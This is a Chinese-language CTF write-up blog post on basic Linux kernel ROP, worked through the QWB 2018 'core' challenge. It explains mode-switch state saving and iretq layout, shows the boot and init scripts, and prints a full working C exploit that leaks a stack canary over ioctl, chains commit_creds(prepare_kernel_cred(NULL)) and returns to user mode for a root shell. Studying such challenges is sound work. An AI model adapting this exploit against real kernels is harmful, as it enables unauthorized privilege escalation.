Kernel ROP basic

Kernel!主要是复现arttnba3大佬的博客*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。

ps:这道题是在老爹请客的那天做的,做的时候不断犯病且现在写博客的时候记忆几乎为零,所以重做一遍当作整理和回忆(最近记忆力真的好差不知道为什么/(ㄒoㄒ)/~~)

Kernel ROP-basic

整个提权的过程如下:

1
状态保存->拿root权限->返回用户态->拿shell

状态保存

先了解一下用户态和内核态的切换过程

用户态→内核态

  • 切换GS段寄存器:swapgs切换GS寄存器,
  • 保存用户态栈帧信息:记录rsp
  • 保存用户态寄存器信息:通过 push 保存各寄存器值到栈上,以便后续“着陆”回用户态

内核态→用户态

恢复用户空间信息

  • swapgs指令恢复用户态GS寄存器

  • iretq恢复到用户空间,iretq栈布局如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    |----------------------|
    | RIP |<== low mem
    |----------------------|
    | CS |
    |----------------------|
    | RFLAGS |
    |----------------------|
    | RSP |
    |----------------------|
    | SS |<== high mem
    |----------------------|

所以需要保存以下寄存器的值:eflags(状态标志寄存器)、cs(代码段寄存器)、rsp和ss(栈段寄存器)

状态保存函数(使用内联汇编,编译时需指定参数-masm=intel)

1
2
3
4
5
6
7
8
9
10
11
12
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;" //标志进栈指令,将标志寄存器的值压入堆栈顶部
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

拿root权限

通过构造ROP链执行函数commit_creds(prepare_kernel_cred(&init_task))或commit_creds(&init_cred)(老版本commit_creds(prepare_kernel_cred(NULL)))

返回用户态,拿shell

根据👆iretq栈布局,ROP链的构造如下:

1
2
3
4
5
6
7
↓   swapgs
iretq
user_shell_addr //system("/bin/sh")地址
user_cs
user_rflags
user_sp
user_ss

例题:强网杯2018-core

启动初始化脚本分析

先看启动脚本,start.sh(更改过的):

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
--nographic \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 #\
#-S -gdb tcp::1234

启动不起来的时候改一下分配的内存

  • 开启了KASLR保护(地址随机化)

打包解包相关命令

  • 解包命令:

    1
    cpio -idmv < core.cpio
  • 打包命令

    1
    find . | cpio -o --format=newc > ../../core.cpio

查看init文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f
  • kptr_restrict
    • 0:root和普通用户都可以读取内核符号地址(/proc/kallsyms接口)
    • 1:root用户有权限读取, 普通用户没有权限
    • 2:内核将符号地址打印为全0, root和普通用户都没有权限
  • 但将kptr_restrict置为0还是不能读取内核符号地址,还需要将perf_event_paranoid置0

更改后的init脚本(需要查看函数地址以便进行调试)如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
echo 0 > /proc/sys/kernel/kptr_restrict #更改
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 0 > /proc/sys/kernel/perf_event_paranoid #增加
cat /proc/kallsyms > /tmp/kallsyms
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f
  • 开始时内核符号表被复制了一份到/tmp/kalsyms中,利用这个我们可以获得内核中所有函数的地址
  • core.ko就是存在漏洞的内核模块
  • 改变权限前设置了定时关机poweroff -d 120 -f,调试的时候可以把时间改长(注释掉会启动不了,我也不知道为什么)

exp

编译指令:

1
gcc ./exploit.c -o exploit -static -masm=intel

分析过程就不写了,大佬博客里都有,只贴一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ_RET 0xffffffff813eb448

size_t user_cs, user_ss, user_rflags, user_sp;

void *commit_creds = NULL, *prepare_kernel_cred = NULL;

void save_status()
{
asm volatile
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_privilige()
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void get_root_shell()
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

puts("\033[32m\033[1m[+] Successful to get the root. "
"Execve root shell now...\033[0m");
system("/bin/sh");
}

void core_read(int fd, char * buf)
{
ioctl(fd, 0x6677889b, buf);
}

void set_off(int fd, size_t off)
{
ioctl(fd, 0x6677889c, off);
}

void core_copy_func(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889a, nbytes);
}

int main()
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
save_status();

int fd;
fd = open("/proc/core", 2);
if(fd < 0)
{
puts("\033[31m\033[1m[x] Failed to open the /proc/core !\033[0m");
exit(EXIT_FAILURE);
}

FILE *sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
puts("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m");
exit(EXIT_FAILURE);
}

size_t addr;
char type[0x10], buf[0x50];
while(fscanf(sym_table_fd, "%lx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = (void *)addr;
printf("\033[32m\033[1m[+] Successful to get the addr of "
"commit_cred:\033[0m%p\n", commit_creds);
continue;
}
if(!prepare_kernel_cred && !strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = (void *)addr;
printf("\033[32m\033[1m[+] Successful to get the addr of "
"prepare_kernel_cred:\033[0m%p\n", prepare_kernel_cred);
continue;
}
}

size_t offset;
offset = (size_t)commit_creds - 0xffffffff8109c8e0;

size_t canary;
set_off(fd, 64);
core_read(fd, buf);
canary = ((size_t *)buf)[0];

size_t rop_chain[0x100];
int i;
for(i = 0; i < 10; i++)
rop_chain[i] = canary;
rop_chain[i++] = (size_t)get_root_privilige;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ_RET + offset;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = (user_sp & 0xfffffffffffffff0) + 8;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x100);
core_copy_func(fd, 0xffffffffffff0000 | 0x100);
}

跟踪调试

跟踪一下rop链执行的过程(最好每一步都打一个断点,内核态进入用户态的时候ni会直接继续执行)

start.sh中的kaslr选项改为nokaslr才是关闭地址随机化!!!

调试内核时的.gdbinit:

1
2
3
4
5
6
source /home/eurus/gef/gef.py

add-symbol-file /home/eurus/give_to_player/vmlinux
set architecture i386:x86-64
add-symbol-file /home/eurus/give_to_player/core/core.ko 0xffffffffc0000000
b*0xffffffffc0000131
  • 内核态:开始执行ROP链

    栈布局

  • 内核态执行用户态函数:进行提权

  • 内核态:执行swapgs和iretq

  • 用户态:拿shell


Kernel ROP basic
http://akaieurus.github.io/2023/08/03/Kernel-ROP-basic/
作者
Eurus
发布于
2023年8月3日
许可协议